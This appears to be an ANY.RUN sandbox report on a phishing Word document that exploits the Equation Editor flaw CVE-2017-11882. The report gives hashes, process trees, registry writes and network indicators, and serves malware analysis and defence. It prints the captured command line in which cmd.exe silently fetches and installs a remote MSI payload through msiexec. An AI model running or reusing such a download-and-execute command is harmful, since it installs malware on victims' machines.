File name:

Payment Advise Note.docx

Full analysis: https://app.any.run/tasks/b71f7029-e939-4a1b-a185-f8e5e1d4c2da
Verdict: Malicious activity
Analysis date: November 08, 2018, 11:55:24
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
generated-doc
exploit
cve-2017-11882
exe-to-msi
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

AFCAA599EF4B3B554006A44EF45977B3

SHA1:

1AA0B84B46C020CB7E5EF808AE9C277C89BE865B

SHA256:

1AA0895ABAD61C8313CE3363FAA55EA2E604E81056ADC8893E88B1B9873779E7

SSDEEP:

3072:z7lL2mrdFADYhDFc8rpKSvNYbWRDzUyRBelYc3nTMSFm9d+tlKdkRn:z7lCAdFkYhDFBxvqyRmTMSFmfSl

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 3384)

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2432)

  • SUSPICIOUS

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3308)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3308)

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 2432)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 772)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 772)

    • Application was crashed

      • EQNEDT32.EXE (PID: 2432)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 3308)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3308)

    • Application was dropped or rewritten from another process

      • MSID61B.tmp (PID: 1908)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0x2ea8411c
ZipCompressedSize: 351
ZipUncompressedSize: 1364
ZipFileName: [Content_Types].xml

XML

Template: template.dotx
TotalEditTime: -
Pages: 1
Words: -
Characters: 1
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: 1
ScaleCrop: No
HeadingPairs:
  • Title
  • 1
TitlesOfParts: -
Company: -
LinksUpToDate: No
CharactersWithSpaces: 1
SharedDoc: No
HyperlinksChanged: No
AppVersion: 15
Keywords: -
LastModifiedBy: Richard
RevisionNumber: 2
CreateDate: 2018:11:06 22:58:00Z
ModifyDate: 2018:11:06 22:58:00Z

XMP

Title: -
Subject: -
Creator: Windows User
Description: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
7
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe eqnedt32.exe no specs msid61b.tmp no specs

Process information

PID
CMD
Path
Indicators
Parent process
772"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Payment Advise Note.docx"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
1908"C:\Windows\Installer\MSID61B.tmp"C:\Windows\Installer\MSID61B.tmp—msiexec.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\windows\installer\msid61b.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2432"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2896"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE—svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3308C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3384cmd.exe & /C CD C: & msiexec.exe /i https://a.doko.moe/ngcmmb.msi /quiet C:\Windows\system32\cmd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3492msiexec.exe /i https://a.doko.moe/ngcmmb.msi /quiet C:\Windows\system32\msiexec.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
Total events
1 443
Read events
962
Write events
470
Delete events
11

Modification events

(PID) Process:(772) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:7-a
Value:
372D610004030000010000000000000000000000
(PID) Process:(772) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(772) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(772) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1298661391
(PID) Process:(772) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1298661504
(PID) Process:(772) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1298661505
(PID) Process:(772) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
04030000BA15E4F95977D40100000000
(PID) Process:(772) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:>.a
Value:
3E2E61000403000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(772) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:>.a
Value:
3E2E61000403000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(772) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
2
Suspicious files
27
Text files
15
Unknown types
5

Dropped files

PID
Process
Filename
Type
772WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9508.tmp.cvr —
MD5:—
SHA256:—
772WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{215C3927-2A6E-4882-873A-86B5FC298D56} —
MD5:—
SHA256:—
772WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{89DD125D-C29F-450F-8DA0-AF4B4275DD65} —
MD5:—
SHA256:—
772WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSFbinary
MD5:—
SHA256:—
772WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
772WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{CE92289C-954C-4896-8FF0-CE146D1EE8BB}.FSDbinary
MD5:—
SHA256:—
772WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSDbinary
MD5:—
SHA256:—
772WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-CNRY.FSDbinary
MD5:—
SHA256:—
772WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\371E9AC9.jpeg —
MD5:—
SHA256:—
3308msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF022FE6EB06B024BB.TMP —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
4
DNS requests
1
Threats
7

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3308
msiexec.exe
185.83.214.16:443
a.doko.moe
—
PT
suspicious
980
svchost.exe
185.83.214.16:443
a.doko.moe
—
PT
suspicious
772
WINWORD.EXE
185.83.214.16:443
a.doko.moe
—
PT
suspicious

DNS requests

Domain
IP
Reputation
a.doko.moe
  • 185.83.214.16
unknown

Threats

Found threats are available for the paid subscriptions
7 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
Payment Advise Note.docx